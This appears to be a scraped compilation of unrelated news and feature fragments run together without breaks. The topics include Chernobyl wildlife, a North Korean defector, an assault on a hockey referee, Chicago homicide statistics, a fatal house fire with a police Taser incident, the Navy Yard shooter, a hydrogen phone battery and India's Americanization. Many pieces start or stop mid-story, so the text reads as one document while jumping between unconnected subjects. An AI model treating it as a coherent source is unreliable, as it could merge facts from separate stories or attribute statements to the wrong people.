Bison near the abandoned village of Dronki, Belarus, on Jan. 28. VASILY FEDOSENKO / Reuters
And the bison have nothing on the Przewalski's horse.
Once spanning the Central Asian steppes, this subspecies of wild horse also went extinct in the wild until several were released in Chernobyl as a conservation experiment in the early 1990s. Now dozens of the animals roam the exclusion zone, thousands of miles from their native Mongolia.
Still, the areas that are now home to bison, wolf, wild horse and scores of other creatures will not be fit for human habitation for several millennia, experts say.
Total Chernobyl casualty figures remain a subject of fierce dispute, due to both deferred health impact of irradiation — cancer usually sets in slowly — but the impact of the disaster is indisputable.
Wild Przewalski's horses graze in a snow-covered field in the Chernobyl Exclusion Zone. GENYA SAVILOV / AFP - Getty Images
A conservative estimate by the World Health Organization from 2005 is that 4,000 people died due to long-term impact of Chernobyl, in addition to 31 dead in the immediate aftermath. The Chernobyl Union of Ukraine — a group created by and for disaster victims — lists 845,000 deaths on its website.
According to a Greenpeace study published earlier this month, thyroid cancer levels rose by between 3.4 and 100 times in contaminated areas.
Related: Take a Tour Through Chernobyl's Nuclear Wasteland
What about the impact on the animals? Scientists just aren't sure.
"Some effects on individual animals have been reported, but I have not seen any,” said Beasley, who has conducted extensive field studies in Chernobyl. “On the surface a wolf from Chernobyl looks just like a wolf from outside it.”
That doesn't mean the animals aren't being hurt, only that scientists can't tell exactly how and how much.
“There is no escaping the ionization of your cells,” Bondar said. “But we lack studies and equipment to examine it properly.”
He added: “In 15 to 20 years, they may reach a threshold beyond which [genetic] change begins to occur. But that is a question for the future.”
What is clear now is that while radiation hurts humans and animals alike, the removal of human activity outweighs the introduction of cesium, plutonium and americium into the environment.
This Sunday, Ben-Shabbat took her seat on Bus 836 from Tiberias to Tel Aviv. She sat by the window, as she always did, and looked forward to leaning her head on the cool glass and catching a few more minutes of sleep before reporting for duty. Then, the bus stopped and a young Arab woman got on.
Her head was covered. She argued with the driver in an accent that left little doubt about her ethnicity. And even though there were other seats available, she walked right up to Ben-Shabbat and sat besides her.
Given the current state of affairs, the young soldier’s heart was racing. Will the young Arab woman do as several young Arab women had done in the last few weeks and pull out a knife? If so, how would Ben-Shabbat respond? Using pepper spray struck her as uncool; she’d have to respond with her bare hands, and played out kung fu scenarios in her mind. She grew scared.
Which is when she decided to do what felt most natural: she texted her mother. Concerned, the mother advised Ben-Shabbat to quietly get up and move to a different seat. The young soldier considered it for a moment. Then she looked at the young woman sitting next to her. They were about the same age. Ben-Shabbat looked at her seat mate’s pale pink lipstick. She knew exactly what she wanted to do.
Without thinking twice, Ben-Shabbat turned to the young Arab woman and told her that she was freaked out for a moment, that she had texted her mother, that her mother told her to switch seats. Then, she asked the young woman if she’d mind taking a selfie together, just so Ben-Shabbat’s mother sees there was nothing to worry about. The young Arab woman laughed and agreed right away. After the shot was snapped, Ben-Shabbat texted it to her family, together with a humorous caption that read “taken just a few moments before the stabbing attack on board bus number 836.”
A North Korean soldier has defected to South Korea by walking through the heavily mined military border zone.
The soldier was unarmed and is being questioned over how and why he made the crossing, the South's military said.
Around 1,000 North Koreans defect to the South every year through China, but the soldier took the unusual step of traversing directly across the fortified eastern border.
The Demilitarised Zone (DMZ) is a strip of land 160 miles long and around 2.5 miles wide running across the Korean Peninsula.
Image: A South Korean soldier at an observation post near the DMZ
It was established at the end of the Korean War and acts as a buffer zone between the two countries.
Despite its name, it is heavily mined, lined with barbed wire and has soldiers on both sides.
Military officials said the soldier arrived unharmed and without any exchange of fire.
The defection comes amid heightened tensions in the region since the North conducted its fourth nuclear test at the beginning of the year and followed it with an unprecedented string of missile tests.
N. Korea nuclear test 'bigger than Hiroshima'
This month it carried out its fifth and largest nuclear test in what is seen as an attempt to counter alleged hostility from the United States.
North Korea has been in a nominal state of war with South Korea since their 1950-53 conflict ended in a truce, not a peace treaty, and there have been several high-profile defections recently that have embarrassed the North.
The most prominent defector was Thae Yong Ho, the North's deputy ambassador to the UK, who became the highest-ranking diplomat to defect to the South when he arrived last month.
London-based diplomat defects to South Korea
In April, 12 North Korean waitresses in a restaurant in China fled to the South along with their manager, and a North Korean teenager taking part in a Hong Kong maths contest in July sought asylum at the South Korean consulate.
In 2014 another North Korean soldier successfully fled after a failed escape attempt over which he was beaten for 15 days.
A minors hockey practice at the Kahnawake Sports Complex — YouTube
As first reported by CTV Montreal and later covered by the Toronto Sun, the Kahnawake (Quebec) Hockey Association canceled the remainder of the season for all teams that use its facility as a base after six to eight members of its 16 and 17-year-old Minors squad attacked referee Frederic Ouellette following his ejection of a Kahnawake player during the third period of a recent game.
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According to another referee who was working the game, Ouellette kicked a Kahnawake player out of the game when the player shot a puck at the referee.
While that should have ended any confrontations between the referees and players, it didn't. Instead, what unfolded after the game was a nightmare, as described by the other unnamed second official.
"After the game, the same player wanted to get at Fred, so I intervened, his coaches arrived and ordered the player to go to his locker room." The teens briefly locked the referees in the room and after they opened the door, the melee began. "About six or seven others people entered the room and pushed me very hard. Me and Carl tried to keep the guys from Fred. I saw Carl on the ground and the guys were holding him down. I cried out a few times to leave him alone. Then two guys told me to do nothing or else I'd get the same treatment. At no time did I hit anybody, nor did Carl and Fred," he said.
Story continues
Incredibly, the referee may have been saved when the attacking teens were scared off by the least intimidating users of the rink: a Midget A girls team. With the girls entering the rink space to get ready for one of their own games, the Minors players dissipated to avoid anyone else noticing what they had done.
One 17-year-old player has already been charged with assault in connection with the incident, while others could be charged in the coming days.
[ Related: Prep basketball player charged with felony voyeurism ]
Of course, the implications of the fight have now stretched far beyond the team involved. As Kahnawake Minor Hockey Association president Peter Jacobs told CTV, the organization is now investigating numerous possible future changes to minimize the chance that such an ugly incident might unfold again, including adding additional security staff or installing a security camera.
In the meantime, Jacobs acknowledged that canceling the season for teams who weren't even involved in the fracas might be unfair, though he defended the hockey association's decision based on the severity of the attack.
"It's not really fair to the other teams but I also back up the referees," Jacobs told CTV. "They have legitimate concerns and it's up to us to guarantee anybody's safety who comes here."
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Presumably King had a better time playing the board game of The Shining, which won the first Microgame Design Contest in 1998, and about which you can read more at Board Game Geek. It has been said that King himself helped with the game's development and offered his services as an early play-tester, though some will contest that. (See the claims in the comments section below.)
You can tell that the game's faith lies with King's novel rather than Kubrick's film by its use of things that never made it from page to screen as gameplay elements, such as the hotel grounds' hedge-sculpture animals that come to vicious life.
You can play The Shining board game as the Torrance family, in which case you'll have to fight those hedge animals. Or you can play it as the Overlook Hotel itself, in which case you'll control them. Each player has a host of implements at their disposal — ghosts, decoys, the famous axe and snowmobile — all meant to help them accomplish the task of driving the other side away. Think of it as a simplified wargame set in a haunted hotel.
If you'd like to see how you fare, whether in the shoes of the Torrances or the Indian-burial-ground foundation of the Overlook, you'll find all the game's materials freely available on the Micrograme Design Contest's site. Print them out, set them up, and prepare to feel some sheer inhuman evil for yourself.
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via Dangerous Minds
Related Content:
Stanley Kubrick’s Annotated Copy of Stephen King’s The Shining
7 Free Stephen King Stories: Presented in Text, Audio, Web Comic & a Graphic Novel Video
Stephen King Reveals in His First TV Interview Whether He Sleeps With the Lights On (1982)
Stephen King’s Top 20 Rules for Writers
Stephen King Creates a List of 96 Books for Aspiring Writers to Read
The report, an investigation published Thursday by Politico, lays out how Clinton used money available to him through the Former Presidents Act to pay and provide benefits to members of his personal staff, many that also worked for his foundation, and to purchase supplies, including a server, for his office.
The Act authorizes the General Services Administration to pay for ex-presidents’ pensions, staff and other expenses. While Politico’s investigation found nothing illegal, it comes as the Clintons and their charity have been the subject of intense scrutiny.
Aides to both Clintons took to Twitter early on Thursday to dispute the report’s findings, which were based on records obtained through the Freedom of Information Act. They took issue with its headline in particular, among the other errors the aides identified.
The report was initially posted to Politico’s website with a headline stating that Clinton used “tax dollars to subsidize” the foundation and his wife’s “private email server.”
“This headline is egregiously false,” Brian Fallon, a spokesman for Hillary Clinton’s presidential campaign, wrote in a tweet.
According to an aide to Bill Clinton, no GSA funding was used for any private email server used by the Clintons or their staff. Instead, the Clintons paid for their email server personally. Later, Politico changed its headline to clarify that GSA dollars were used to pay for “private email support,” referring to a staffer who helped maintain the email server while on the GSA payroll for a period of time. The staffer, Justin Cooper, was also compensated by the Clintons personally for his work.
More than a dozen members of Clinton’s personal staff on the GSA payroll also worked at the Clinton Foundation, Politico found. Pointing to a 2001 report by the Government Accountability Office, the Clinton aide explained that it is common for personal staff members to receive compensation from other sources, including former presidents or their spouses’ charitable foundations.
On Thursday afternoon, Fallon tweeted that the story was “such bad journalism.”
Like it does for every other ex-President's aides. This is such bad journalism.https://t.co/hUBOCUU8zl — Brian Fallon (@brianefallon) September 1, 2016
Clinton’s campaign similarly criticized the Associated Press for a recent report which showed how major donors to the Clinton Foundation maintained access to the former Secretary of State. That report, and others that have looked into the connections between Clinton and their donors, have yet to find any wrongdoing on behalf of the family. In recent days, though, even Clinton allies have begun to urge the two to sever their ties to the foundation, as did the editorial board of the New York Times.
No city more starkly illustrates this disparity than Chicago. Many scoffed at President Trump’s tweets about federal help to stop the “carnage” there. “Chicago’s murder rate wasn’t even in the top 10 among large cities,” tweeted USA Today law and justice reporter Brad Heath in response. The Atlantic observed that “there are a number of cities . . . that have much, much higher homicide rates.” A CNN column argued that “a deeper dive into the numbers shows fears over the city’s violence can be overblown when compared to cities much smaller.”
But Chicago—which, the Brennan Center concedes, “accounted for 55.1 percent of the total increase in urban murders” in 2016—deserves its reputation as an American murder capital, or at least a significant part of it does. If policymakers, journalists, and others really wanted to take the “deeper dive” into the numbers that CNN suggests, they should try looking at neighborhood crime statistics. Doing so reveals that, within Chicago, a large sub-city exists that is, in fact, the most dangerous big city in the United States.
It’s true that Chicago, with a citywide homicide rate of 27.9 per 100,000 people, has relatively fewer murders than seven other large cities, including St. Louis, Baltimore, Memphis, and Detroit. Much of Chicago sees few murders. A better way to understand Chicago homicides is to break them down by police district. To see how concentrated the city’s murders are, I isolated the precincts in which approximately 75 percent of the homicides occur and compared that area—call it Sub-Chicago—with the U.S. cities that are supposedly more dangerous than the Windy City.
During the 365-day period beginning June 7, 2016, Chicago had 711 first- and second-degree homicides. Of those, 556 (or 78.1 percent) occurred in just ten of the city’s police districts. Those districts—which are contiguous—constitute a geographical area almost half the city’s size and house 40.3 percent of the city’s nearly 2.7 million residents. With a population of almost 1.1 million, Sub-Chicago would itself be one of America’s largest cities, and, with a homicide rate of 51.2—almost double Chicago’s 2016 citywide rate—it would be in the running for the title of America’s most dangerous, as it is just shy of surpassing the 2016 citywide rates of Baltimore and St. Louis. Nowhere else in the country is there an area so large and so heavily populated with a murder rate this high.
Even when you look at the areas of concentrated homicide in other cities—i.e., those that encompass close to 75 percent of a city’s murders—Sub-Chicago stands out. In St. Louis, for example, 184 murders were committed during the period beginning May 1, 2016, and ending April 30, 2017. Of those, 136 (or 73.9 percent) occurred in three of the city’s six police districts (Sub-St. Louis). Those three districts cover 50.6 percent of the city’s 63.8 square miles, which, according to the city website, house 135,920 (or 42.5 percent) of the city’s 319,294 residents. A similar tract of Sub-Chicago, made up of police districts 11 and 15, with 140 murders and a population of 129,932, posted an annual murder rate of 107.7 per 100,000 during the 365-day period studied—slightly higher than the area constituting Sub-St. Louis (100.05).
In Memphis, murders in 2016 were more evenly distributed than in Chicago and St. Louis. Last year, 76.3 percent of the city’s 228 murders occurred in six of the city’s nine police districts, which cover about 80 percent of the city’s land area and house 76 percent of its population. The murder rate of those six districts was 34.8 per 100,000—less than three points higher than the citywide rate and almost 20 points lower than that of Sub-Chicago.
Analyses of Detroit and Baltimore yield similar results. In Detroit, 72.8 percent of the city’s 302 murders in 2016 occurred in seven of the city’s 11 police precincts—an area that constitutes 64.1 percent of the city’s 137 square miles and accounts for almost 70 percent of its 672,972 residents. Sub-Detroit’s 2016 homicide rate was 47.1 per 100,000 residents—significantly lower than Sub-Chicago’s and less than three points higher than Detroit’s citywide rate.
Seventy-six percent (242) of Baltimore’s murders occurred in six of the city’s nine precincts—an area that houses 53.1 percent of the city’s 624,271 residents. That area’s murder rate is a scary 72.9 per 100,000 residents. But Sub-Chicago has almost double the population of Sub-Baltimore. Sub-Chicago’s four most dangerous police districts—the 11th, 7th, 15th, and 16th—experienced 273 murders during the period analyzed. With a population of 291,844, it posted a murder rate of 93.5—more than 20 points higher than that of Sub-Baltimore.
There are plenty of titles out there that parody what other games are doing, such as Grass Simulator, and a common issue with a lot of them is that they simply aren’t that fun to play. Spooky’s House of Jump Scares was an exception to that rule and I thoroughly enjoyed playing through it during its Early Access phase, which has actually concluded now. Tickets are free, so come on in and experience the thrilling ride that is Spooky’s mansion.
The goal of the game is to make it through all 1,000 rooms in the mansion, which are randomly generated. Most of the time, you will be completely safe while doing so, but every once in a while the game throws a scare at you or spawns one of its creative monsters to chase you. Despite its satirical intentions, Spooky absolutely understands how to build and utilize tension, making it hard to ever feel safe.
As mentioned before: the game is completely free, but may begin charging for DLC later in its lifespan. It’s fun, there are a ton of references for horror fans to find, and it is appealing to the eye as well. Download it for free via the source below if you feel like trying it out.
Liberal Leader Michael Ignatieff said last week the party was removing Forbes as a candidate in the Manicouagan riding around Sept-Iles and Baie Comeau, Que., but Forbes said Monday morning he's staying in the race and will bill himself as an Independent candidate.
However, he'll still be on the ballot as a Liberal, because he's not stepping down, and the party can't fire him now that he's been nominated. That means the party apparently won't be able to run a candidate in the riding.
The riding is currently held by Bloc MP Gerald Asselin, who won a third term in 2008, and wasn't expected to change hands.
Election rules
Forbes said his team consulted Elections Canada, but his options were limited because he is already registered as the Liberal candidate. He said he can't run as an Independent on the ballot because one person can't have two candidacies in a single election campaign.
Forbes said he was left with only two choices: run as a Liberal, even though Ignatieff has publicly denounced him, or quit and go home.
"I refuse to quit," Forbes said in French. "After reflection with my family, my team, my volunteers, the constituents in the county, I've decided to remain the federal candidate for 2011."
Forbes complained Ignatieff didn't take the time to talk to him before letting him go.
"I want to underline they gave me only 10 minutes on April 6 to respond. Somebody told me you're on TV, somebody called me and said you've been tossed. It took 10 minutes. Not a lot of time to defend myself," Forbes said.
A spokesman for Ignatieff said the party would prefer Forbes remove himself as a candidate, and the party doesn't endorse his affiliation with them.
NDP attack
Forbes said the NDP news release that revealed his past comments attacked him and attacked the Liberal party.
He said the release didn't mention that he is a Métis.
WASHINGTON — U.S. Rep. Bill Flores, R-Bryan, said Monday he intends to seek the gavel of the United States House of Representatives if his colleague, Wisconsin Rep. Paul Ryan, doesn't.
Though GOP lawmakers have been urging Ryan to run as a consensus candidate, Flores said in an interview with The Texas Tribune that he spoke to Ryan on Sunday.
“I don’t want to share private conversations, but he was still a 'no' as of yesterday when I spoke to him,” Flores said.
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If Flores is to succeed, he will need the 25-member Texas House delegation behind him. That's no certainty yet, given possible home state competition. U.S. Rep. Mike Conaway, R-Midland, has said he will consider running for speaker if Ryan opts against a run. U.S. Rep. Michael McCaul is also mulling a run, a source close to him confirmed.
"Where we are now is, what we’ve agreed is that we’re going to hold our powder dry," Flores said of his fellow Texans. "And then we’ll see which Texan gets the most traction, and the thinking is today that we’ll coalesce around one Texan eventually."
The political world is holding its breath as Ryan, the GOP's 2012 vice presidential nominee, reluctantly considers Republican entreaties to run. While he has expressed little interest in serving in the position in this moment of Republican turmoil, he is generally considered the lone Republican who can unite the fractious House conference.
The reason for the turmoil is this: A speaker must secure 218 votes to assume the gavel. There are 247 House Republicans, but about 40 of those members — the most conservative in the chamber — are making demands on contenders that will radically change how the U.S. House operates.
Flores, who described himself as a "non-traditional candidate," telegraphed that he would be be amenable to their demands. Alluding to the churn, he said outgoing Speaker John Boehner's resignation and U.S. House Majority Leader Kevin McCarthy's recent withdrawal from the speaker's race present Republicans with an opportunity to elect “someone who’ll come in and say, ‘Let’s look at all the rules. Let’s figure out how we turn this thing the right way so that ideas flow from up from the bottom — from our constituents through the representatives and through the committee process and then on the floor.'"
Flores said Republicans need someone at the top who “hasn’t been in leadership" before. He noted that another speaker contender, U.S. Rep. Jason Chaffetz, R-Utah, is too senior to be in that group.
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If Ryan doesn't run and Flores does, the Texas congressman's biggest strength is that he chairs the largest voting bloc of conservatives, the Republican Study Committee.
The Texas Tribune first reported last week that Flores was giving a run serious thought.
CHAMPAIGN — Piled in the expansive Pi Kappa Alpha fraternity house at the University of Illinois, 500 toys seem like a lot.
But put them in the hands of more than 500 kids at Garden Hills Elementary School, and they really begin to mean something.
The fraternity again used its Pike Presents program to give gifts to students at the Champaign school Thursday.
In Valeri Warren's classroom, students had trouble concentrating on school activities while fraternity members Nick Virgilio and Michael Broccolino stood outside with huge bags full of presents, one for each student.
Principal Cheryl O'Leary's voice came over the intercom, telling students the Pikes had a special surprise for them because they'd worked so hard all semester.
Warren had her students wait to open their presents as the fraternity members called each student by name. Some turned their packages end over end, while others shook them and others just plain peeked in their gift bags.
But once given the all-clear, the "oohs" and "aahs" and "yays" began.
"This is exactly what I wanted," one said. Another asked if he would be able to take his new game and ball home.
And it was the same all around the building: Kids cradling baby dolls and stuffed animals. One of Warren's kindergartners unwrapped a stocking cap made to look like a dog and a dog Pillow Pet. Her favorite dogs, she explained, were poodles and Chihuahuas. Students opened packages of basketballs, guns that shot foam darts — one received a guitar and another a skateboard.
For the majority of students, the items they received, they'd asked for on a wish list. Organizers had to do some shuffling, though, for presents that got mixed up.
The Pikes Presents process starts when the school's children are asked to fill out a wish list for things they'd ask for if being rewarded for academic success.
They ask for typical things, O'Leary said: Hot Wheels, Bratz dolls, wrestling belts.
But one asked for a teddy bear for a little sister who didn't have any toys. In the past, a student asked for a shirt so his or her mother would have something to wear to work.
"These might be the only gifts these kids get," O'Leary said, and she knows many of the students have tough home environments. More than 85 percent of the school's students qualify for free or reduced lunch.
The school then compiles those wishes into lists by classroom and gives them to the project's fraternity co-chairmen, Virgilio and Ben Grozier, along with their other fraternity members.
The Pikes — about 180 active members — passed out the lists to sororities around campus. Then, the women divvied up the lists and shopped for the children over the Thanksgiving holiday.
Earlier this week, the Pikes went around to the sorority houses, bringing carloads of items back to their house.
Other sorority members dropped gifts by the fraternity house, which is newly built. It features large double doors in front, with a foyer and two sitting rooms with plenty of space to stash toys of all kinds. Some were totally wrapped and labeled with a student's name, some wrapped but unlabeled (the Pikes had to give those special attention to figure out what student they were intended for) and some poking out of bags and totally unwrapped.
Last year, members didn't have the luxury of space — the fraternity was staying in an apartment complex while their new house was built.
Lists of classrooms, with their students and gifts requested, made a wrinkled pile on a large coffee table as members went through the job of sorting and organizing.
While describing their most popular gift requests, some members looked just longingly enough at the Nerf guns and Transformers figures. They also saw plenty of Zhu-Zhu Pets, Baby Alives and a game called Pop the Pig.
Members stopped in throughout the week to help, Virgilio said, despite the impending stress of studying for finals. The tests officially start today, but Virgilio said he had a final Wednesday. Trying to manage both the gifts to Garden Hills students and finals wasn't too bad, he said.
"It's worth it," he said.
The school and the fraternity became connected when a woman on staff there had a son who was a member. He started the present-giving tradition, and it grew as sorority members helped fraternity members with shopping and wrapping.
"From there, it really took hold," O'Leary said. Since then, the Pikes have tutored students at Garden Hills and even paid for the expenses for a free medical clinic at the school in 2008.
They've given money for playground equipment, books for classrooms and art supplies.
That tradition holds true — Virgilio said the Tri Delta sorority donated presents for kids in five or six classes, brought by extra presents in case the young men came up short, as well as a small mound of shopping bags filled with school supplies. Eighteen sororities in all donated to the Garden Hills students.
O'Leary said this year's Pikes Presents ranks up there with one of the best, much of it because of the fraternity's organization and attention to detail.
She said the boy who received the guitar told her it was "the only thing I ever wanted," and a girl marveled at the Easy Bake Oven that was just what she wished for.
She also appreciated the fact that the fraternity and sorority members gave because they wanted to.
From Rookies to Legends
New teams have been designed for each race at TVs 1000, 1900, 2100, 2200, 2300, 2400 and 2700. Their skill builds are as different as possible while still remaining effective in play and sticking to a realistically limited number of doubles skills / stat ups. Fresh coaches now start on a fair playing field, while experienced coaches will face ongoing challenges and greater opposition variety even at high levels. All teams may be freely paired off in Exhibition Matches too, of course.
A Journey You'll Remember
The campaign's fifteen competitions have been entirely reworked to be more interesting. Each has a unique trophy and flavour, rewards are less formulaic, there are a couple of championships without play offs, and even included is an optional 128 team showdown that encourages mismatched teams with inducements. The overall balance and progression still remains close to the original campaign, with the exception of a moderately higher gold total available for winning teams to sustain themselves at a greater TV.
My Rules are Your Rules
Initial AI treasuries are reduced to 50-100k, while their players have SPPs increased to a mid-point between level ups. This better mimics a human coach's team state between competitions and results in more natural TV progression during them. Simulated matches may result in draws between AIs for dynamic and fairer rankings. AI teams begin with a wider range of prestige to meet the same competition requirements expected of the human coach. Matches entering overtime are fully sudden death, checking for a tie-breaker every turn.
And Also Starring ...
Sabalan, or Savalan is an inactive stratovolcano in the Alborz mountain range and Ardabil Province of northwestern Iran. At 4.811 meters (15.784 feet), it is the third highest mountain in Iran. It has a permanent crater lake formed at its summit and on one of its slopes there are large rock formations of eroded volcanic outcrops which resemble animals, birds, and insects.
Photo credit Saeid Toluei, Tasnim Photo credit Saeid Toluei, Tasnim Photo credit IRNA Photo credit Saeid Toluei, Tasnim Photo credit Taher Hazrati, Mehr News Agency Provinces of East Azerbaijan and Kerman, Iran. Photo credit Mostafa Ghorban Movahed, ISNA Provinces of East Azerbaijan and Kerman, Iran. Photo credit Mostafa Ghorban Movahed, ISNA Kohgiluyeh and Boyer-Ahmad Province, Iran. Photo credit Davood Izad Panah, Tasnim Kohgiluyeh and Boyer-Ahmad Province, Iran. Photo credit Davood Izad Panah, Tasnim Photo credit IRNA Photo credit Taher Hazrati, Mehr News Agency Photo credit Farhad Safari, Mehr News Agency Photo credit Mostafa Ghorban Movahed, ISNA Photo credit Soheil Faraji, ISNA Provinces of East Azerbaijan and Kerman, Iran. Photo credit Mostafa Ghorban Movahed, ISNA Photo credit Taher Hazrati, Mehr News Agency Provinces of East Azerbaijan and Kerman, Iran. Photo credit Mostafa Ghorban Movahed, ISNA Photo credit IRNA Kohgiluyeh and Boyer-Ahmad Province, Iran. Photo credit Davood Izad Panah, Tasnim Photo credit IRNA Photo credit IRNA Photo credit IRNA Photo credit IRNA Photo credit IRNA Photo credit Saeid Toluei, Tasnim Photo credit IRNA Photo credit Soheil Faraji, ISNA Photo credit Majid Nouri, ISNA Photo credit Majid Nouri, ISNA
Miller and his wife, Cathy, awoke in the early-morning hours of Nov. 1 to a house filled with smoke. They were forced out through a back door, but their son, Riley, was still sleeping in his bedroom inside.
Miller ran around the house and tried to enter through the front door, while Cathy placed a 9-1-1 call.
Police responded to the scene within minutes, but instead of trying to help the couple save their child, one of the officers shot Miller with a stun gun.
But the blast from the Taser failed to subdue the distraught dad, who kept trying to enter the burning building.
So the cop hit him two more times with the stun gun. When Miller dropped to the ground, he was promptly handcuffed and put into the back of a patrol car, according to KHQA-TV.
“He tried to get back in the house to get the baby. They took my son to jail because he tried to save his son,” the child’s grandmother, Lori Miller, told the TV station.
The heat from the flames was reportedly so punishing, the police were forced to standby until firefighters arrived. State Fire Marshal Investigator Scott Stoneberger said a firefighter in full gear attempted to enter the home but the flames were too hot.
Ryan Miller’s sister-in-law doesn’t think the police handled the situation correctly.
“It’s just heartless. How could they be so heartless? And while they all just stood around and waited for the fire department, what kind of police officer wouldn’t try and save a 3-year-old burning in a house?” said Emily Miller.
Firefighters later discovered the body of Riley Miller near the doorway to a bedroom.
“We’ve been going through pictures and he’s just smiling in every picture. He was just a happy go-lucky kid,” said the boy’s aunt.
The child’s parents were taken to Memorial Medical Center’s burn unit in Springfield, Ill. Ryan Miller suffered burns to his chest, and Cathy Miller burned the cornea in one of her eyes. Both were released from the hospital the same day.
The house was destroyed.
The fire marshal said an official cause of the fire has yet to be determined, although it does not appear to be suspicious. The investigation is expected to take several weeks.
The 19-year-old defender is one of a several cut-price options West Ham are exploring as they seek cover for the injured Aaron Cresswell.
Left-back Cresswell is set to be out for up to four months after suffering a knee injury in the Hammers' pre-season friendly win over Karlsruher in Austria.
Cameron Borthwick-Jackson is a potential loan target for West Ham
Borthwick-Jackson has been told by Jose Mourinho that he's not in his plans this season
West Ham's medical chief Stijn Vandenbroucke told the club website: 'Aaron faces a period of rest, followed by treatment and rehabilitation and he will be out for a period of between three and four months.'
His temporary replacement, Borthwick-Jackson, is set to be a victim of Jose Mourinho's clear-out at Old Trafford, with nine players told they are free to move on.
The young defender impressed under Louis van Gaal last season, but has been told he isn't in Mourinho's plans for the coming campaign as the incoming United boss looks to trim down his squad to just 24.
Cresswell could be out for up to four months after suffering a knee injury in pre-season
The left back has impressed sufficiently to be tipped for England honours
Those not in his plans have been told they will either be sold, leave on loan or train with the under 21 squad, with West Ham interested in offering Borthwick-Jackson the chance of senior football.
He made 14 appearances under van Gaal last season, including six Premier League starts.
Another target is Hull left back Andrew Robertson, with the Hammers having a £7million bid rejected for the Scotland international.
(CBS News) Investigators continue to piece together information about Navy Yard shooting suspect Aaron Alexis, who carried out an attack that left 12 dead and eight injured Monday.
CBS News special correspondent and former FBI assistant director John Miller reports there are no indications that the suspect was self-radicalized. Rather, it is likely he was a disgruntled worker with anger management issues. Miller also said that he had sought treatment for mental health issues from the Veteran's Administration.
"The indications are [that] he was a government worker with a secret clearance who was a devout Buddhist," Miller said on "CBS This Morning."
"There were mental issues that he sought help for from the VA a number of times. He was ... acting normally during work and then having these episodes for which he was trying to get treatment."
"He said he was hearing voices, he was detached from reality at certain points. He had sought treatment a number of times at a number of places and he was also frustrated there. He claimed he wasn't getting his full VA benefits," Miller said.
Investigators believe he carried out the attack with a shotgun, and apparently acquired one, possibly two, handguns during the incident. Law enforcement sources said Monday that an AR-15 assault rifle was found at the scene, but authorities now do not believe Alexis used an assault rifle in the attack. The shotgun was recently purchased at a gun store in Lorton, Va., CBS News' Bob Orr reports.
The timing of the firearms purchase is "key" according Miller because "it shows when he went through the 'I'm angry' stage to the 'I'm planning' stage" in the days before the attack.
Alexis served in the Navy Reserves from 2007 to 2011 before receiving an honorable discharge.
"A Navy person told us, he had a 'pattern of misconduct,'" Orr reported, "He eventually left the military in 2011, took work as a contractor and retained his secret clearance."
Federal agents are still asking the public to fill in the information gaps and the FBI spent Monday night "sorting through calls from acquaintances, former friends, coworker, fellow students ... who were able to fill in the details." What emerged, Miller said, was a "richer picture of a man who was leading two lives."
As recently as last week, Alexis was just "an individual who came to work every day last week at building 197 -- the same building [where] he conducted a massacre yesterday -- wiring up cubicles for an IT refresh," Miller said.
"Coworkers said they got along with him fine, he seemed perfectly normal," Miller said, "He said he'd been in the military, was now a contractor, but was looking to go back into the military."
However, there were signs of his so-called mental and anger management issues before the shooting, as recently as last week.
"He had an incident with a supervisor where they criticized his work on one of the installations and he didn't seem to take that well," Miller said.
In 2004, Alexis was arrested for malicious mischief in Seattle, Wash., and in 2010, for discharging a firearm into the ceiling of his Fort Worth, Tex., apartment. However, neither arrest led to a prosecution that would have limited him from buying the firearms he purchased in Virginia.
"One arrest was for discharging a firearm in a public place, the other was malicious mischief. That's what he was arrested for. ... The things that are going to prevent you from getting a gun -- and neither one of those would have -- only result from convictions and. ... Neither one of those was prosecuted," Miller said.
Email
A British company claims to have invented a working hydrogen-powered smartphone battery that could potentially allow your phone to go a week without recharging.
Weekly Business Digest Newsletter
Intelligent Energy, a British power technology company, has made a working prototype of an iPhone 6 with the new battery.
Fitted with its rechargable battery and their new technology, the iPhone looks and feels very similar - the only difference is the small vents on the back of the phone, that allow imperceptible amounts of water vapour to escape, a byproduct of the hydrogen battery.
The battery works by combining hydrogen and oxygen in a small and very thin fuel cell, creating electricity. The only waste products are small amounts of heat and water.
The cell is the same size as the iPhone, but is so thin that it can fit into the existing chassis of the phone without any need for major alterations.
Speaking to the Telegraph, Henri Winand, the chief executive of the company, said: "To our knowledge this has never been done before."
Although the battery could extend a phone's life by days, it still requires recharging - the fuel cell can be topped up with hydrogen gas via the adapted headphone socket.
The current version is only a prototype, but the company is looking at a commercial version that could potentially revolutionise mobile phones.
The commercial version could take the form of a small cartridge that fits into the bottom of the phone, that would give a week of power and can be thrown away when not needed.
Mark Lawson-Statham, the corporate finance chief of Intelligent Energy, said that the technology is currently a "couple of years out".
Portable fuel cell manufacturers have been promising that their devices will take over the market for years, but these power sources have typically been too bulky and expensive to have value to everyday consumers.
A small and low-cost fuel cell that packs a punch and promises to give your phone more than a few hours' battery could be the device that finally goes mainstream.
Independent
This reconciliation — this Americanization of India — had both tangible and intangible manifestations. The tangible signs included an increase in the availability of American brands; a noticeable surge in the population of American businessmen (and their booming voices) in the corridors of five-star hotels; and, also, a striking use of American idiom and American accents. In outsourcing companies across the country, Indians were being taught to speak more slowly and stretch their O’s. I found myself turning my head (and wincing a little) when I heard young Indians call their colleagues “dude.”
But the intangible evidence of Americanization was even more remarkable. Something had changed in the very spirit of the country. The India in which I grew up was, in many respects, an isolated and dour place of limited opportunity. The country was straitjacketed by its moralistic rejection of capitalism, by a lethargic and often depressive fatalism.
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Now it is infused with an energy, a can-do ambition and an entrepreneurial spirit that I can only describe as distinctly American. In surveys of global opinion, Indians consistently rank as among the most optimistic people in the world. Bookstores are stacked with titles like “India Arriving,” “India Booms” and “The Indian Renaissance.” The Pew Global Attitudes Project, which measures opinions across major countries, regularly finds that Indians admire values and attributes typically thought of as American: free-market capitalism, globalization, even multinational companies. Substantial majorities associate Americans with values like hard work and inventiveness, and even during the Iraq war, India’s views of America remained decidedly positive.
I HAVE learned, though, that the nation’s new American-style prosperity is a more complex, and certainly more ambivalent, phenomenon than it first appears. The villages around my home have undeniably grown more prosperous, but they are also more troubled. Abandoned fields and fallow plantations are indications of a looming agricultural and environmental crisis. Ancient social structures are collapsing under the weight of new money. Bonds of caste and religion and family have frayed; the panchayats, village assemblies made up of elders, have lost their traditional authority. Often, lawlessness and violence step into the vacuum left behind.
I recently spoke with a woman in her mid-50s who lives in a nearby village. She leads a simple life (impoverished even, by American standards), but she is immeasurably better off than she was a couple of decades ago. She grew up in a thatch hut. Now she lives in a house with a concrete roof, running water and electricity. Her son owns a cellphone and drives a motorcycle. Her niece is going to college.
